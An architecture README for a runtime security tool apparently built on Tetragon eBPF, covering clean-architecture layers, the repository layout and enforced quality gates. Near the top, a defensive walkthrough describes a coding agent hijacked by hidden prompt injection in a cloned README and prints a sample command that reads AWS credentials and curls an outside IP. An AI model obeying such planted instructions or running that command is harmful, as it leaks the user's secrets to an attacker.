Architecture & Security·2 min read·docs/architecture/README.md

Architecture Overview

Four-layer clean architecture, inward dependency rules, and architectural test invariants.

Interactive Guide LabClean architecture trust boundaries
Visual Isometric WalkthroughAI Platform & Security Engineers

Interactive Isometric Architecture Simulators

AI Agent Prompt Injection → Ring 0 eBPF Catch → Human Seal

Watch why prompt guardrails fail in Ring 3 while Tetragon eBPF + Human Seals hold at Ring 0.

Threat investigation guide →
RING 3 · AI / PROCUntrusted user spaceRING 0 · eBPFTetragon v1.8.0PQ ZERO-TRUSTML-DSA-65 + HPKEHUB · CEL & MCPGraphs & 23 toolsHUMAN SEALSHA-256 audit chainUNTRUSTED SHELL
Step 1 of 5 · Ring 3 Hijackinternal/domain/ledger/entry.go

Indirect prompt injection hijacks the coding agent

A developer AI agent clones an untrusted repo whose README contains hidden instructions. Text-level prompt filters fail; the agent spawns /bin/sh inside Ring 3.

Developer invariant · Anything running in the same LLM context as untrusted text can be manipulated. Security cannot depend on asking the model to behave.
Observed Ring 3 process spawn
parent: coding-agent (pid 4182)
child:  /bin/sh -c "python3 -c 'open("~/.aws/credentials")'"
        && curl 198.51.100.77:4444
guard:  RING 3 BYPASSED (hidden prompt inside cloned README.md)

This guide describes the four-layer clean architecture implemented in Ometsuke, enforced on every test run by internal/archtest (Go) and eslint-plugin-boundaries (TypeScript). Product requirements · Lab report

DocumentScope
This fileArchitectural principles, dependency rules, repository layout, automated guards
domain.mdDomain entities, value objects, DFIR/forensics rules, and enforced invariants
application.mdDriven ports, use cases, and the composition root
adapters.mdDriven adapters, HTTP/SSE API, 19-tool MCP server, and web console architecture
runtime.mdEvent pipelines, seals, concurrency, DFIR/observatory boundaries, security model, failure modes
quality.mdSingle sources of truth, test strategy, verified benchmarks, and supply-chain guarantees

#1. Architectural principles

  1. Inward-only clean architecture. Four layers: domain, app, adapter, and composition root (bootstrap/cmd). Dependencies point strictly inward; the domain knows nothing about Tetragon, SQLite, HTTP, React, or model providers.
  2. Ports and adapters. Application use cases depend exclusively on interfaces in internal/app/port. Every external dependency sits behind an adapter with a shared in-memory fake and contract suite in internal/app/port/porttest.
  3. One source of truth per concept (quality.md). OpenAPI (api/openapi/), design tokens (docs/design/tokens.json), brand SVGs (brand/), and domain constructors generate or own every downstream contract.
  4. Invariants enforced by types. Human seals, ordered judge thresholds, evidence-bound citations, fail-closed allowlists, and read-only DFIR boundaries are enforced in domain constructors rather than UI or handler checks.
  5. Hostile inputs by default. Event text, command lines, paths, arguments, and model outputs are attacker-controlled data: rendered strictly through printable(), screened for prompt injection, and redacted before leaving the host.
  6. Modular, reviewable files. Every hand-written source and documentation file is capped at 300 lines and split by responsibility before growing beyond it.
  7. Automated enforcement. internal/archtest and ESLint fail the build immediately on any layer boundary violation or file exceeding 300 lines.

#2. Layer boundaries

flowchart TB
  subgraph root["Composition root: cmd/ometsuke, internal/bootstrap"]
    subgraph adapters["Adapters: internal/adapter"]
      subgraph app["Application: internal/app"]
        domain["Domain: internal/domain"]
      end
    end
  end
LayerContainsPermitted imports
DomainEntities, value objects, invariants, pure analysis/DFIR enginesGo standard library and other internal/domain/* packages
ApplicationUse cases, orchestration services, and port interfacesGo standard library, internal/domain/*, and internal/app/*
AdaptersPort implementations (driven) and HTTP/MCP/Web servers (driving)internal/app/*, internal/domain/*, internal/adapter/shared/*, external libraries
Composition rootCLI flags, 0600 config loading, dependency wiring, graceful shutdownAll packages

Adapters never import sibling adapters. Code shared by two or more adapters lives exclusively under internal/adapter/shared/.

#3. Repository layout

text
cmd/ometsuke/                 CLI entry point (serve, demo, agent, mcp-stdio, benchmark, backup-ledger, egress-*)
api/openapi/                  Single source of truth for the wire contract (bundled into api/openapi.yaml)
policies/                     108 curated monitor-first Tetragon TracingPolicy templates (7 categories)
graphs/                       Embedded exec-in-container graph + 16 curated CEL graphs in graphs/catalog/
deploy/                       Hardened systemd unit, optional DFIR capability drop-in, Helm chart
internal/
  domain/
    errs/                     Typed domain errors (not found, invalid, conflict, seal required, budget exhausted)
    ledger/                   Entry, Kind, Severity, Gap, Process, Lineage, Container, Query, MITRE timelines
    decision/                 Graph, Step (read/judged/investigated/check/action), Thresholds, Route, Walk
    casework/                 Waiting/sealed cases, cited claims, explanations
    policy/                   Policy, Mode, Standing, Hook, Counters, Proof, ModeChange
    audit/                    Actor, Seal, reason provenance, append-only Record
    disclosure/               Redaction, bounding, screening, and data-fenced provider documents
    budget/                   Daily UTC spending cap, reservations, and cost calculation
    health/                   Kernel capabilities and stage-separated event loss counters
    hardening/                Live CIS/KSPP host sysctl and LSM posture evaluator
    kernelmap/                Ring 0 / Ring 3 process topology, subsystem classifier, eBPF hook bridges
    firewallmap/              Workload gates, risk-classified outbound flows, listening socket exposure
    memmap/                   Per-process VMA forensics (RWX, memfd, anon-exec, deleted-exec, FDs, namespaces)
    forensics/                Host DFIR sweep (taint decoder, hidden PIDs, persistence, SUID, IOC hunter, SHA-256)
    catalog/                  Curated policy/pack/graph domain metadata
    proposal/                 Non-enforcing agent policy drafts and case recommendations
    action/                   Sealed response actions (kill-process, isolate-container)
    alert/, defense/, egress/ Alert rules, autonomous watch profiles, workload egress allowlists
    auth/, fleet/             RBAC roles, identities, multi-host fleet node state
  app/
    port/, port/porttest/     Driven ports, canonical fakes, and shared contract test suites
    ingest/, live/, view/     Batched event ingest, SSE fan-out, ledger/tree/density queries
    decide/, cases/, assist/  Graph evaluation, case desk, explanations, contextual AI help
    policies/, proposals/     Policy lifecycle, seals, reconciliation, agent proposals
    alerts/, actions/         Background alert delivery, sealed operator response execution
    egresscontrol/, fleet/    Workload egress controller, multi-node fleet coordination
    agent/, healths/, audits/ Live Tetragon supervision, health sampling, audit log reading/export
    spend/, settings/, bench/ Daily budget meter, runtime settings, Section 7 benchmark harness
  adapter/
    shared/                   tetragonmap, systemone, serviceurl, dockerhttp, apitypes (generated + mappers)
    tetragon/, replay/        Live Tetragon v1.8.0 gRPC client and JSONL replay source
    docker/, workload/        Read-only Docker metadata + overlay diff, systemd/container workload discovery
    hostinfo/, metrics/       Linux /proc & host DFIR probes, Tetragon Prometheus loss metrics
    sqlite/, graphfile/       WAL-bounded SQLite repositories (1 writer, 4 readers), YAML graph loader
    cel/, policyschema/       Bounded CEL engine, Tetragon JSON schema validator + binary allowlist synthesizer
    catalog/                  Embedded loader for 108 policies, 6 starter packs, and 16 decision graphs
    judge/jev/, judge/liquid/ Pinned probability judge adapters
    llm/, screen/             Five-protocol LLM explainer and prompt-injection screener
    alertdelivery/, webhook/  Webhook, SMTP, Telegram, Slack, PagerDuty, Syslog (RFC 5424), OTLP/HTTP
    egresskernel/, egressjournal/ Local cgroup v2 outbound TCP firewall attachment and journal
    auth/, fleethttp/, fleetagent/, response/ OIDC/token auth, fleet hub/agent, sealed host response adapter
    httpapi/, mcp/, web/      Generated strict HTTP/SSE API, 19-tool MCP server, embedded React console
  bootstrap/                  Config loading, validation, dependency wiring, graceful lifecycle
  archtest/                   Automated layer-dependency and 300-line file-length enforcement
web/                          React 19 + TypeScript 6 + Vite 8 + Bun console, visual checks, Playwright E2E

#4. Enforced quality gates

internal/archtest runs inside go test ./... and fails if:

  • any package under internal/domain imports outside the Go standard library or internal/domain;
  • any package under internal/app imports internal/adapter or internal/bootstrap;
  • any adapter imports another adapter outside internal/adapter/shared/;
  • any hand-written Go or Markdown file exceeds 300 lines (generated files carrying // Code generated ... DO NOT EDIT., generated/ folders, and the pinned upstream policy schema are exempt from the line limit, never from dependency rules).

TypeScript enforces the matching 300-line limit (max-lines) and inward import boundaries via ESLint (eslint-plugin-boundaries).